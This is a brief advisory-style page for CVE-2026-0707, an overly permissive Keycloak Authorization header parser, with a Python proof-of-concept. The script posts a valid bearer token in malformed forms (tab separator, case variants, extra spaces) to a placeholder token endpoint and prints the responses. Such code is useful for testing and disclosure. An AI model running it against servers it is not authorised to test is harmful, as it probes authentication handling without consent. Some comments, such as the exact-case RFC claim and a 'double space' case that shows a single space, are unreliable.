CVE-2026-0707 Keycloak Authorization Header解析器规范违规漏洞

import requests # CVE-2026-0707 PoC - Keycloak Authorization Header Parser Bypass # This PoC demonstrates the overly permissive parsing of Bearer tokens TARGET_URL = "http://target-keycloak-server/auth/realms/master/protocol/openid-connect/token" VALID_TOKEN = "eyJh..." # Replace with a valid token def test_malformed_authorization_header(): """ Test various non-standard Authorization header formats that should be rejected but are accepted by vulnerable Keycloak """ headers = { "Authorization": "Bearer\t" + VALID_TOKEN # Tab as separator } try: response = requests.post(TARGET_URL, headers=headers) print(f"[+] Test 1 - Tab separator: Status {response.status_code}") except Exception as e: print(f"[-] Test 1 failed: {e}") def test_case_variation(): """ Test case variations of 'Bearer' keyword RFC 6750 requires exact case match """ case_variations = ["BEARER", "bearer", "BeArEr", "BEARER "] for variation in case_variations: headers = { "Authorization": variation + VALID_TOKEN } try: response = requests.post(TARGET_URL, headers=headers) print(f"[+] Test '{variation}': Status {response.status_code}") except Exception as e: print(f"[-] Test '{variation}' failed: {e}") def test_multiple_spaces(): """ Test multiple spaces as separator RFC 6750 specifies single space """ headers = { "Authorization": "Bearer " + VALID_TOKEN # Double space } try: response = requests.post(TARGET_URL, headers=headers) print(f"[+] Test - Multiple spaces: Status {response.status_code}") except Exception as e: print(f"[-] Test failed: {e}") if __name__ == "__main__": print("CVE-2026-0707 Keycloak Authorization Header Parser Test") print("=" * 60) test_malformed_authorization_header() test_case_variation() test_multiple_spaces()